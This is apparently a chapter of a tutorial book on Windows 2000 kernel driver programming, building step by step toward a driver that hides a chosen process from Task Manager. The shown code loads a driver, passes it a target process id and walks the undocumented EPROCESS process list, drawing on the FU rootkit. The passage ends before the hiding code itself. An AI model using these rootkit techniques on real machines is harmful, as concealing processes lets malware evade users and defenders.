Device Driver - Hiding Programs Part1

 

It is human nature to want what is not given. Microsoft for some reason never ever shared the source code of its products in entirety with us lowly mortals. Thus internals fascinate everyone. Writing a program that switches on the keyboard num lock, caps lock would raise eyebrows in the good old days. Therefore, geniuses like Andrew Schullman, David Maxey, Matt Pietrek and many more were looked upon as Supernatural beings as they were masters in the undocumented segment.

 

This book attempts at exploring the internals of Windows Operating System but at the level of device drivers, not exes or dlls. A device driver is a program that allows a specific device, such as a modem, network adapter, or printer to communicate with the operating system. They run transparently once they are loaded or enabled. Normally device drivers get loaded when a computer is started. A device driver has access to all memory and resources, thus to be a hard-core programmer you have no choice but to learn writing one. Also, we believe that security professionals need to understand these internals, without which fighting viruses or break-ins is not viable.

 

Our approach at writing device drivers is slightly different. As far as possible, we will avoid all theory and the complex block diagrams. Our adage is “A program is worth a 1000 words”

 

This chapter starts with the basics of device driver programming. However, it is aimed at demonstrating the workings of a device driver that hides a selected program from the windows task manager. A Task Manager in Windows 2000 displays information about the computer performance, the programs and processes that are running on your computer. It is normally used to start programs, start or end processes, and observe the cpu usage. You can imagine the havoc that a device driver can create if the Windows OS is kept uninformed about its existence.

 

Device Driver Kits  

Microsoft is headstrong about not disclosing its internal code. As a result, they have made it extremely difficult for anyone and everyone who desires to write code that accesses privileged areas. This is seen when downloading the toolkit to write device drivers.  Device drivers have extended access to protected areas and resources. For the toolkit, you have to first go to the following URL

http://www.microsoft.com/whdc/devtools/ddk/orderddkcd.mspx

and request for a driver toolkit Server 2003 DDK, which is free. But when you place an order for DDK Suite 3, the amount disclosed is approx. 199 dollars. And depending upon which part of the world you stay, this amount varies. This is the shipping cost!!

Anyways, when you receive your CD and install it, a directory called winddk is created. Within this, there will be a sub-directory, in our case, 2600.1106, your version number may vary. Also, ensure that Visual Studio 6.0 is installed.

Then create the following batch file z.bat and y.c in c:\driver1.

 

z.bat

del y.exe

cl y.c  advapi32.lib

 

This family of functions resides in the dll advapi32.dll and hence we include the lib file advapi32.lib for the linker. Remember, the linker by default looks at oldnames.lib, libc.lib and kernel32.lib.

 

 

y.c

#include <windows.h>

SC_HANDLE m,s;

void main(int argc, char **argv)

{

m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS );

CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);

s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);

StartService(s, 0, 0);

}

 

The OpenSCManager function establishes a connection to the service control manager on the specified computer and opens the specified service control manager database.

 

The above program loads a device driver into memory. The first function called is OpenSCManager. This function opens the specified service control manager database on the computer name specified and returns a connection handle. The first parameter to the function OpenSCManager is the name of the machine of the service manager. A value of 0 or null means local machine. The second is the name of the service control manager database to be opened. A value of zero signifies the database represented by SERVICES_ACTIVE_DATABASE and the last parameter refers to the access rights allowed with the service manager, we have asked for all rights. .

 

The return value, which is a handle to the services manager is store in variable m. The data type of variable m is SC_HANDLE, a typedef to HANDLE.

 

The reason we used SC_HANDLE and not HANDLE is because one of the first rootkits that we used was the FU rootkit. A good place to download rootkits is www.rootkit.com. The source code of rootkits found on the net is what we have used as the basics of writing this book. The Fu toolkit for some reason uses SC_HANDLE and so do we. All our initial learning is what we have gleaned from understanding rootkits found on the net. We cannot ever thank these brilliant programmers for uncovering the internals of Windows. All that we have done is broken up what they have done in more easily understood portions.

-*-*-*-*-*

The CreateService function then creates a service object and adds it to the specified service control manager database.

The first parameter to this function is the handle to the service manager. Then, the second parameter is the name of the service, vijay. The next parameter is the display name for the service used by third part programs, mukhi. Then is the service access rights, in our case, it is all rights.

 

Windows recognizes four types of services, as ours is a driver service, we use the service type SERVICE_KERNEL. The others are:

 

Moreover, there are five ways of starting a service, the option we specify indicates that our driver will be loaded in memory only with the StartService function.  The other methods are:

 

 

The next parameter handles the errors and there are once again four options. Its logs the error, shows us a message box and continues with life and the rest of the startup operation. The others options are:

 

Finally the last parameter is the path name of the file containing the device driver in its entirety. In the windows world, device drivers are present in sys files. Accordingly, our device driver will reside in a file called vijay.sys in the driver1 sub-directory.   

 

We then open an existing service by using the OpenService function. The first parameter is the handle to the service manager m, which has been created earlier. Then is the name of the service to be opened, vijay. Finally, the last parameter is the access rights to be given to our service.

 

This function finally returns the handle to the service itself. Our service is programmed to start with the use of the StartService function. The first parameter to this function is the  service handle returned by the OpenService function. The next are the number of arguments to be given to the service i.e. argc and finally comes the actual array of strings i.e. argv.

With this information, the service manager is ready to load the device driver in memory. There is an entire different world of programming for creating windows services.

 

However it is too early to run the batch file z.bat as the device driver is not yet created. So lets proceed to building the device driver.

 

b.bat

cd \winddk\2600.1106\bin

call setenv c:\winddk\2600.1106

cd \driver1

del r.obj

del vijay.sys

cl -Ic:\winddk\2600.1106\inc\ddk\wxp -Ic:\winddk\2600.1106\inc\crt -D_X86_=1 /c /Gz r.c

link -subsystem:native,5.01 -entry:DriverEntry@8 -out:vijay.sys r.obj c:\winddk\2600.1106\lib\wxp\i386\ntoskrnl.lib

 

The device driver toolkit brings with it a set of header files, libraries, samples and help. At the time of installation, the default directory can be changed, as a result, the include, lib and the rest of the environment variables are to be manually set. There is a batch file called setenv in the directory c:\winddk\2600.1106\bin that initializes all these environment variables. In b.bat, this batch file is given the root directory c:\winddk\2600.1106.

 

Once the settings are complete, the compiler and linker are called to build the device driver. The –l option with the compiler brings in two include directories for the header files and the –D option contributes in creating a macro X86_.  Macros are used internally by the header files. The /c option simply compiles the file.

 

It is the calling convention that decides on how the parameters are placed on the stack. Moreover, it also determines whether the caller or callee would reset the stack back to the position before the function call. And lastly, it can change the function name by adding a number at the end. The /Gz option calls for the _stdcall calling convention as against the default, which is _cdecl. There is one more calling convention called the _fastcall. Finally, the code for the driver is in the file r.c.

 

With the linker command, the –out option is given to explicitly name the output file, vijay.sys. For some reason, the setenv does not set the lib variable to point to ntoskrnl.lib and the code for some of the functions reside in it. So, we manually set the lib variable to point to the file with the full pathname, c:\winddk\2600.1106\lib\wxp\i386. The double quotes are given due to the. in the path name.

 

Next, the linker is programmed to look for main or WinMain in a file. But in the device driver, there is no such thing, Microsoft recommends the use of DriverEntry for the startup function, and hence the entrypoint option. The compiler adds the @ sign followed by the total space occupied by all the parameters due to the –Gz option. In our case, DriverEntry takes up 8 bytes on the stack and thus the characters @8 are added to its name.

 

The last option for the linker is the subsystem, which specifies the type of output file, whether a dll or exe or device driver, the default is an exe file. The option native indicates a device driver, This is followed by the major and minor version numbers which if not specified defaults to 4.00, in our case we want the version to be 5.01.

 

r.c

#include <ntddk.h>

NTSTATUS DriverEntry(PDRIVER_OBJECT  d,PUNICODE_STRING p)

{

DbgPrint("vijay1");

return STATUS_SUCCESS;                                                                                                                                                                                                                                                                                                                                             

}

 

In our smallest driver program, first comes the preprocessor, the include directive with the header file ntddk.h. In the newer Windows Driver Model or WDM, the header file included would be wdm.h. NTSTATUS is a typedef for a long. The function DriverEntry takes two parameters, the first parameter is a pointer to a structure DRIVER_OBJECT  that will be put ot use in our next program. The second parameter is a pointer to another structure, UNICODE_STRING.

 

typedef struct _UNICODE_STRING {

    USHORT Length;

    USHORT MaximumLength;

    PWSTR  Buffer;

} UNICODE_STRING;

 

A PWSTR is typedef WCHAR  *PWSTR. A WCHAR is typedef wchar_t WCHAR. Finally a wchar_t is typedef unsigned short wchar_t. Thus, PWSTR is nothing but a pointer to an unsigned short. A UNICODE_STRING structure simply stores a pointer to the Unicode string, not the entire string. It also stores the actual length and the maximum possible length.

 

The Unicode string is used extensively in device drivers. Which means that a Unicode string must be converted into a structure using some function. A return 0 or STATUS_SUCCESS denotes no problems. On running the y.exe executable, it will load the device driver vijay.sys in memory. 

 

We’d rather be safe than sorry. So it is better to take a confirmation that windows has recognized our executable as a device driver. For this purpose, prior to executing the executable, click on Start, Programs, Development Kits, Windows DDK 2600.1106, Tools, Device Tree. This program displays all the device drivers in memory. The first window of all loaded drivers presently does not show our device driver named vijay.

 

Now when y.exe is executed, apparently nothing happens,  but the device tree program will show Vijay. Click on menu option View, Refresh if your do not see ‘/Device/vijay’. This is enough proof that windows recognizes our device driver and displays its service name as vijay.

Function DbgPrint behaves like a printf but can be used exclusively for the device driver world. However the problem is the output device. Where should it display the string? The device driver runs as an exalted program in ring 0. Even though Intel allows a program to be loaded in 4 rings, ring 0 to ring 3, Windows loads all user programs in ring 3 and device drivers in ring 0.

 

A debugger can be used to display all the DbgPrint output. However a better approach here is to download another program called DbgView whose sole task is to display the output of the DbgPrint function. This program can be freely downloadable from the site http://www.sysinternals.com/files/dbgvnt.zip.

 

Simply unzip it and then run the executable dbgview. At present, there is no display as the device driver is already loaded in memory. For now, the only way out is to reboot the machine as we have not shown you how to unload the driver from memory.

 

After rebooting, the order to be followed is first to run the device tree, then dbgview and lastly the program y. vijay1 is displayed in the third column of the dbgview program. Thus functions like DbgPrint turn handy when working with device drivers.

 

r.c

#include <ntddk.h>

NTSTATUS DriverEntry(PDRIVER_OBJECT  d,PUNICODE_STRING p)

{

DbgPrint("DriverEntry %S %x",p->Buffer,d);

return STATUS_SUCCESS;

}

 

We make one small change to the DbgPrint function. We first display the second parameter that is a Unicode string. We have to use %S and not %s to display its value. This is the registry entry that our device driver is provided so that it can use this path to store its own registry entries. In the dbgview monitor we see the following.

 

DriverEntry \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vijay 81a65610

 

The actual registry entry is HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\vijay. Some of the registry keys are set for us and we are supposed to use this path to create more registry entries. We can use the entire registry but it is advisable that we use the above path. The second value displayed is the address of the driver object passed to us 81a65610. This is the same address displayed by the device view program in the column Driver Object.

 

For some vague reason if we change the name of the function from DriverEntry to aaa in y.c and also in the b.bat file, the driver does not load. Hence keep the function name as DriverEntry only.

 

r.c

#include <ntddk.h>

UNICODE_STRING n;

NTSTATUS DriverEntry(PDRIVER_OBJECT  d,PUNICODE_STRING p)

{

RtlInitUnicodeString (&n,L"sonal");

DbgPrint("DriverEntry %S %d %d",n.Buffer,n.Length,n.MaximumLength);

return STATUS_SUCCESS;

}

 

DriverEntry sonal 10 12

 

We have a macro L that converts an ASCII string to a unicode string. Thus sonal now becomes a unicode string as the second parameter of the function  RtlInitUnicodeString. All that this function does is initializes the UNICODE_STRING structure passed as the first parameter. It set the Buffer member of the structure n to the unicode string sonal.

 

A unicode string is different for a ASCII string as each character takes 2 bytes instead of 1. As the ASCII string sonal has five characters,  the unicode sonal will have 10 characters, each other character being a zero. This member Length is set to the length of the string 10. As all strings are null terminated, in unicode a null takes up 2 bytes and the member MaximumLength is set to 12.

 

All this is done by the function RtlInitUnicodeString. This  function is in the dll ntdll.dll. The only problem with this dll is there exists no corresponding lib file and hence we can never directly link. Thus if we have to test code from ntdll.dll we have to use a indirect method.

 

d.c

#include <windows.h>

struct zzz

{

unsigned short Length;

unsigned short MaximumLength;

unsigned short *Buffer;

};

void (__stdcall *a)(struct zzz *d,unsigned short *s);

HANDLE b;

struct zzz c;

void main(void)

{

b = LoadLibrary("ntdll.dll");

a = (void *) GetProcAddress(b," RtlInitUnicodeString ");

a(&c,L"sonal");

printf("%S %d %d\n",c.Buffer,c.Length,c.MaximumLength);

}

 

We first use the function LoadLibrary to load the dll ntdll.dll in memory. We could have also used function GetModuleHandle as the dll is always loaded in memory. If the dll is not loaded in memory LoadLibrary loads it and then returns to us the address of where the dll is loaded in memory which we store in the variable b. We then use the function GetProcAddress to give us the address of the function RtlInitUnicodeString in the ntdll.dll which we store in variable a.

 

We then call the function  RtlInitUnicodeString using the pointer a passing it the address of the structure c of type UNICODE_STRING and the unicode string sonal as the second parameter. We then print out the members of the structure c which have the same values like the earlier program. There is just one difference between the two programs, the earlier program code ran in ring 0, the current one in ring 3.

 

r.c

#include <ntddk.h>

NTSTATUS abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

DbgPrint("abcCreate");

return STATUS_SUCCESS;  

}

NTSTATUS DriverEntry(PDRIVER_OBJECT  d,PUNICODE_STRING p)

{

UNICODE_STRING devicename,filename;

PDEVICE_OBJECT r;

DbgPrint("DriverObject");

RtlInitUnicodeString(&devicename,L"\\Device\\bbb");

RtlInitUnicodeString(&filename,L"\\DosDevices\\aaa");

IoCreateDevice(d,0,&devicename,0,0,0,&r);

IoCreateSymbolicLink (&filename,&devicename);

d->MajorFunction[IRP_MJ_CREATE]=abcCreate;

return STATUS_SUCCESS;

}

 

y.c

#include <windows.h>

SC_HANDLE m,s;HANDLE g;

void main(int argc, char **argv)

{

m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS );

CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);

s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);

StartService(s, 0, 0);

g=CreateFile("\\\\.\\aaa",GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);

printf("g=%x\n",g);

}

 

DbgView Output

DriverObject

AbcCreate

 

Dos Window

3a4

 

Lets start with the device driver code first. We first initialize two UNICODE_STRING structures devicename and filename with two unicode strings \\Device\\bbb and \\DosDevices\\aaa using the function RtlInitUnicodeString. Our device driver now needs to create a device so that a exe program running at ring 3 can communicate with it. The function IoCreateDevice is just what the doctor ordered.

 

The first parameter is the DRIVER_OBJECT that stands for our driver, the second is the size of the device extension, in our case 0. The third is the name of the device object so that others entities can refer to us by name. The next three parameters are zeroes and represent the Device type, its characteristics and whether it is for exclusive system use. The last parameter is the handle to the actual device object that has been created by the system.

 

Thus we have now created a actual device called Device\bbb that others can use for doing IO on our driver. If we now run the program Device Tree, it will show our device bbb. Now we need to create a link so that other programs can use our newly created device.

 

The function IoCreateSymbolicLink takes two unicode strings, the first is the name other programs will use to communicate with our driver aaa, the second is the actual name of the driver we used in the earlier function. Now in our exe file we can use the function CreateFile to create a handle to our driver.

 

We have to use the name aaa with three sets of backslashes. The words Devices and DosDevices are part of the syntax. The CreateFile function not only lets us deal with files, but with com ports, shared memory etc. The only useful parameters are where we specify that we want to read and write to our device driver and to use the existing one. The handle returned in our case is 3a4, an error would gives us all F’s.

 

This means that our driver has created a device aaa that can be accessed from ring 3.

 

In the DriverEntry function the DRIVER_OBJECT parameter is the most important for us. We have a member MajorFunction that is nothing but an array of pointers to functions. When we specify our device aaa in the CreateFile function, the operating system calls the function specified by the array MajorFunction[0] as the value of IRP_MJ_CREATE is 0.

 

Thus the function abcCreate gets called. What we do here is our business but all that we know is that someone is trying to create a file handle to our driver. Like this we have about a dozen array members in the array MajorFunction that allows us to have our code being called when certain events occur. One such event is when code in user land wants to communicate with our driver. If we do not associate a function with IRP_MJ_CREATE, the CreateFile function fails.

 

r.c

#include <ntddk.h>

NTSTATUS abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

DbgPrint("abcDevice");

IoCompleteRequest (Irp, IO_NO_INCREMENT);

return STATUS_SUCCESS;  

}

NTSTATUS abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

DbgPrint("abcCreate");

return STATUS_SUCCESS;  

}

NTSTATUS DriverEntry(PDRIVER_OBJECT  d,PUNICODE_STRING p)

{

UNICODE_STRING devicename,filename;

PDEVICE_OBJECT r;

DbgPrint("DriverObject");

RtlInitUnicodeString(&devicename,L"\\Device\\bbb");

RtlInitUnicodeString(&filename,L"\\DosDevices\\aaa");

IoCreateDevice(d,0,&devicename,0,0,0,&r);

IoCreateSymbolicLink (&filename,&devicename);

d->MajorFunction[IRP_MJ_CREATE]=abcCreate;

d->MajorFunction[IRP_MJ_DEVICE_CONTROL]=abcDevice;

return STATUS_SUCCESS;

}

 

y.c

#include <windows.h>

SC_HANDLE m,s;HANDLE g;long b;

void main(int argc, char **argv)

{

m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS );

CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);

s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);

StartService(s, 0, 0);

g=CreateFile("\\\\.\\aaa",GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);

printf("g=%x\n",g);

DeviceIoControl(g,0,(void *)0,0,0,0,&b,0);

}

 

DriverObject

abcCreate

abcDevice

 

We would now like our exe program to communicate with our driver. To this we use the function DeviceIoControl. We specify the handle to the file or in our case the device driver as the first parameter. All the rest are 0’s which we will explain later. The second last parameter is the number of bytes returned by the device driver. When we make such a call to our device driver, the system looks at the function address stored in the IRP_MJ_DEVICE_CONTROL offset of the MajorFunction array.

 

The array offset is 14. Thus the function abcDevice gets called with the same parameters as the abcCreate. Thus our device driver can now do whatever it likes, in our case it will hide the process we tell it to.  The DeviceIoControl is blocking and unless the device driver does not release it, it will continue sleeping. Thus in abcDevice we have to call the function IoCompleteRequest specifying that we have completed the user land request.

 

If we do not, the function DeviceIoControl hangs and no amount of Ctrl-C will get us out. We use the value IO_NO_INCREMENT as we can complete the request very quickly. For a long time this is the only value we will use.

 

 

y.c

#include <windows.h>

SC_HANDLE m,s;HANDLE g;long b,pid;

void main(int argc, char **argv)

{

pid = atoi(argv[1]);

m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS );

CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);

s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);

StartService(s, 0, 0);

g=CreateFile("\\\\.\\aaa",GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);

printf("g=%x\n",g);

DeviceIoControl(g,2,(void *)&pid,4,0,0,&b,0);

}

 

y 212

 

When we run our program y, we pass it a parameter which will later on be the process id of our program that we want to hide. The 212 that we pass becomes the value of argv[1] and we use the atoi function to convert the string to an int. We will call the DeviceIoControl program lots of times to communicate with our device driver. The second parameter is a number that lets us distinguish different calls to the device driver. In the abcCreate we can check for this parameter and depending upon its value do different things. In the device driver we will show you how to extract this value. The third parameter is the address of a memory location that will be passed to our device driver. The next parameter is the length of the area of memory. Thus the four bytes occupied by the long variable pid are passed to the driver where we will extract the value and display it.

 

DbgOutput

DriverObject

abcCreate

abcDevice pid=212 code=2 MajorFunction=14

 

#include <ntddk.h>

NTSTATUS abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

IO_STACK_LOCATION *irpStack;

long *inputBuffer;

long pid,ioControlCode;

irpStack = IoGetCurrentIrpStackLocation (Irp);

inputBuffer = (long *)Irp-> AssociatedIrp.SystemBuffer;

pid = *inputBuffer;

ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

DbgPrint("abcDevice pid=%d code=%d MajorFunction=%d",pid,ioControlCode,irpStack->MajorFunction);

IoCompleteRequest(Irp,IO_NO_INCREMENT);

return STATUS_SUCCESS;  

}

NTSTATUS abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

DbgPrint("abcCreate");

return STATUS_SUCCESS;  

}

NTSTATUS DriverEntry(PDRIVER_OBJECT  d,PUNICODE_STRING p)

{

UNICODE_STRING devicename,filename;

PDEVICE_OBJECT r;

DbgPrint("DriverObject");

RtlInitUnicodeString(&devicename,L"\\Device\\bbb");

RtlInitUnicodeString(&filename,L"\\DosDevices\\aaa");

IoCreateDevice(d,0,&devicename,0,0,0,&r);

IoCreateSymbolicLink (&filename,&devicename);

d->MajorFunction[IRP_MJ_CREATE]=abcCreate;

d->MajorFunction[IRP_MJ_DEVICE_CONTROL]=abcDevice;

return STATUS_SUCCESS;

}

 

We have added lots of code in our abcDevice function. An IRP is the basis of all device driver communication. Its full form is Input/Output Request Packet and it is a complex structure. Each time abcDevice gets called the second parameter represents the data that we are passed and we in turn can pass to whoever calls us.

 

The function IoGetCurrentIrpStackLocation is used to get a IO_STACK_LOCATION pointer that lets us access the input parameters. Thus we use this function to get at the input memory passed by the program in ring 3. The member AssociatedIrp member is a union of which we use the void * pointer SystemBuffer which points to the area of memory in ring 0 that we can get our input parameters.

 

We cast it to a pointer t a long and when we access the four bytes, it gives us a value 212 the same that we have placed to the DeviceIoControl function. The irpStack pointer has a member Parameters which is a union for parameters for all possible calls like Create, Read etc. DeviceIoControl is a structure and IoControlCode represents the second parameter of the DeviceIoControl function. The other members are

 

struct

{

ULONG OutputBufferLength;

ULONG POINTER_ALIGNMENT InputBufferLength;

ULONG POINTER_ALIGNMENT IoControlCode;

PVOID Type3InputBuffer;

} DeviceIoControl;

 

Thus the value of ioControlCode is 2. The irpStack pointer has a member MajorFunction that gives us a value of 14, the value of IRP_MJ_DEVICE_CONTROL. This is how we can figure out why our device driver code gets called. We have two functions abcCreate and abcDevice to handle two different calls, in most device we use a single function and thus use the MajorFunction member to differentiate between different calls. This is how our device driver can get at the parameters passed to it.

 

y.c

#include <windows.h>

SC_HANDLE m,s;HANDLE g;long b,pid;

void main(int argc, char **argv)

{

pid = atoi(argv[1]);

m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS );

CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);

s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);

StartService(s, 0, 0);

g=CreateFile("\\\\.\\aaa",GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);

printf("g=%x\n",g);

printf("%d\n",GetCurrentProcessId());

DeviceIoControl(g,2,(void *)&pid,4,0,0,&b,0);

}

 

1308

 

r.c

#include <ntddk.h>

NTSTATUS abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

IO_STACK_LOCATION *irpStack;

long *inputBuffer;

unsigned long pid,proc,currentpid;

irpStack = IoGetCurrentIrpStackLocation(Irp);

inputBuffer = (long *)Irp->AssociatedIrp.SystemBuffer;

pid = *inputBuffer;

proc= (unsigned long ) PsGetCurrentProcess ();

currentpid = *((unsigned long *)(proc+156));

DbgPrint("abcDevice pid=%d proc=%x currentpid=%d",pid,proc,currentpid);

IoCompleteRequest(Irp,IO_NO_INCREMENT);

return STATUS_SUCCESS;  

}

NTSTATUS abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

DbgPrint("abcCreate");

return STATUS_SUCCESS;  

}

NTSTATUS DriverEntry(PDRIVER_OBJECT  d,PUNICODE_STRING p)

{

UNICODE_STRING devicename,filename;

PDEVICE_OBJECT r;

DbgPrint("DriverObject");

RtlInitUnicodeString(&devicename,L"\\Device\\bbb");

RtlInitUnicodeString(&filename,L"\\DosDevices\\aaa");

IoCreateDevice(d,0,&devicename,0,0,0,&r);

IoCreateSymbolicLink (&filename,&devicename);

d->MajorFunction[IRP_MJ_CREATE]=abcCreate;

d->MajorFunction[IRP_MJ_DEVICE_CONTROL]=abcDevice;

return STATUS_SUCCESS;

}

 

abcDevice pid=212 proc=81ad2a60 currentpid=1308

 

Every program that we run under windows is given a unique number called the process id of the program or its pid. The function GetCurrentProcessId returns the process id of the program currently running. In our case its value is 1308.

 

In our device driver we use the function PsGetCurrentProcess that returns to us the address of a structure that represents the current process running. In our case it obviously refers to the program y.exe. As per the Windows documentation this function returns a pointer to a structure EPROCESS which is undocumented.

 

Some bright guys on the net realized that 156 bytes from the start of this structure is stored the actual process id. So all that we do is add 156 to the variable proc that has the value returned by function PsGetCurrentProcess, cast it to a pointer to long and in the variable currentpid we have the actual pid of the current process. The value in our case is 1308 which simply confirms the above.

 

r.c

#include <ntddk.h>

struct process

{

char a[156];

long pid;

LIST_ENTRY *Flink,*Blink;

};

NTSTATUS abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

struct process *proc;

int i;

proc= (struct process *) PsGetCurrentProcess ();

for ( i = 0 ; i <= 50; i++)

{

DbgPrint("pr=%x List_ENTRY=%x %x Flink=%x Blink=%x",proc,(char *)proc+160,&proc->Flink,proc->Flink,proc->Blink);

DbgPrint("%s:%d",(char *)proc+508,proc->pid);

proc = (struct process *)( (char *)proc->Flink - 160);

}

IoCompleteRequest(Irp,IO_NO_INCREMENT);

return STATUS_SUCCESS;  

}

NTSTATUS abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

DbgPrint("abcCreate");

return STATUS_SUCCESS;  

}

NTSTATUS DriverEntry(PDRIVER_OBJECT  d,PUNICODE_STRING p)

{

UNICODE_STRING devicename,filename;

PDEVICE_OBJECT r;

DbgPrint("DriverObject");

RtlInitUnicodeString(&devicename,L"\\Device\\bbb");

RtlInitUnicodeString(&filename,L"\\DosDevices\\aaa");

IoCreateDevice(d,0,&devicename,0,0,0,&r);

IoCreateSymbolicLink (&filename,&devicename);

d->MajorFunction[IRP_MJ_CREATE]=abcCreate;

d->MajorFunction[IRP_MJ_DEVICE_CONTROL]=abcDevice;

return STATUS_SUCCESS;

}

 

DriverObject

abcCreate

pr=8174c760 List_ENTRY=8174c800 8174c800 Flink=8046e728 Blink=81adf6a0

y.exe:876

pr=8046e688 List_ENTRY=8046e728 8046e728 Flink=8202fc00 Blink=8174c800

:0

pr=8202fb60 List_ENTRY=8202fc00 8202fc00 Flink=81fa5720 Blink=8046e728

System:8

pr=81fa5680 List_ENTRY=81fa5720 81fa5720 Flink=81dff340 Blink=8202fc00

smss.exe:160

pr=81dff2a0 List_ENTRY=81dff340 81dff340 Flink=81f7a0c0 Blink=81fa5720

csrss.exe:184

pr=81f7a020 List_ENTRY=81f7a0c0 81f7a0c0 Flink=81dd0c40 Blink=81dff340

winlogon.exe:180

pr=81dd0ba0 List_ENTRY=81dd0c40 81dd0c40 Flink=81f74780 Blink=81f7a0c0

 

cmd.exe:1256

pr=8174c760 List_ENTRY=8174c800 8174c800 Flink=8046e728 Blink=81adf6a0

y.exe:876

pr=8046e688 List_ENTRY=8046e728 8046e728 Flink=8202fc00 Blink=8174c800

:0

pr=8202fb60 List_ENTRY=8202fc00 8202fc00 Flink=81fa5720 Blink=8046e728

System:8

The above program does something useful, it prints out the names of programs running on the machine and also their process ids. If you ever spoke to Bill Gates, he will tell you that it is not possible has Microsoft does not publish the internals of windows. Enough people on the net found out what Microsoft does not want you to know. Here goes.

 

As mentioned in the last program the function PsGetCurrentProcess returns a pointer to an undocumented structure. The structure tag process represents some crucial elements of this undocumented structure. The first 156 bytes are unknown and the next four as mentioned earlier is the process id. Then we have two pointers to LIST_ENTRY structures Flink and Blink.

 

A LIST_ENTRY structure is nothing but a structure that has two pointers Flink and Blink which point to LIST_ENTRY structures. This is how Windows uses a doubly link list to keep entities together. Thus the Flink member points to a LIST_ENTRY structure in another EPROCESS structure.

 

The point to note is that the Flink and Blink members do not point to the start of a  EPROCESS structure but 160 bytes from the beginning of the structure. The Blink member also points 160 bytes from the start of the EPROCESS structure. Windows uses the Blink and Flink members to traverse the link list in any direction that it wants.

 

In the for loop we iterate 50 times so that we can prove that the linked list is circular and after some time the same entries get displayed. The first thing we display is the address of the proc variable is nothing but the starting address of each EPROCESS structure. We then display the address and not contents of the area of memory 160 bytes from the start of the EPROCESS structure.

 

This is where the pointer Flink to a LIST_ENTRY is stored. We verify this also printing out the address of the Flink variable. We then print out the Flink and Blink members. As done before the pid member is 156 bytes from the start of the EPROCESS structure and we print this out in the second DbgPrint structure. Another undocumented member is the name of the program which is stored 508 bytes from each EPROCESS structure.

 

This string is null terminated and we display it using %s as it is a ASCII string. In Windows XP these offsets vary and we will show them to you later. We then want to point to the next EPROCESS structure. The problem is that proc->Flink will give us an address that is 160 bytes from the start of the structure. Thus we want to subtract 160 from it and as Flink as a pointer to a structure LIST_ENTRY which is 8 bytes large, we have to cast it to a char *.

 

r.c

proc = (struct process *)( (char *)proc->Blink - 160);

 

pr=8174e5e0 List_ENTRY=8174e680 8174e680 Flink=8046e728 Blink=8175a0c0

y.exe:1380

pr=8175a020 List_ENTRY=8175a0c0 8175a0c0 Flink=8174e680 Blink=81b36200

cmd.exe:1348

pr=81b36160 List_ENTRY=81b36200 81b36200 Flink=8175a0c0 Blink=81b67ce0

DBGVIEW.EXE:1332

pr=81b67c40 List_ENTRY=81b67ce0 81b67ce0 Flink=81b36200 Blink=81b73c60

svchost.exe:1184

pr=8202fb60 List_ENTRY=8202fc00 8202fc00 Flink=81f36b80 Blink=8046e728

System:8

pr=8046e688 List_ENTRY=8046e728 8046e728 Flink=8202fc00 Blink=8174e680

:0

pr=8174e5e0 List_ENTRY=8174e680 8174e680 Flink=8046e728 Blink=8175a0c0

y.exe:1380

pr=8175a020 List_ENTRY=8175a0c0 8175a0c0 Flink=8174e680 Blink=81b36200

cmd.exe:1348

 

We have made only one change to one program and replaced the Flink member to Blink. Thus we are now traversing the link list in the reverse direction.  Earlier we started with y and then went on to System, smss.exe etc. Now we are starting from y again but we see cmd.exe, DBGView.exe etc. Thus the names are displayed in the reverse order. This is how a doubly linked list works.

 

Lets now understand the exact structure of the linked list.

 

Let us start by taking the third program System which has a process is of 8. The process id of zero has no name as Task manager displays it as System Idle Process. The proc variable has an address of 8202fb60. 160 bytes from here gives us the address of the Flink variable which is 8202fc00. All other structure will point to this number. Lets now take one process before, Its Flink variables value is 8202fc00.

 

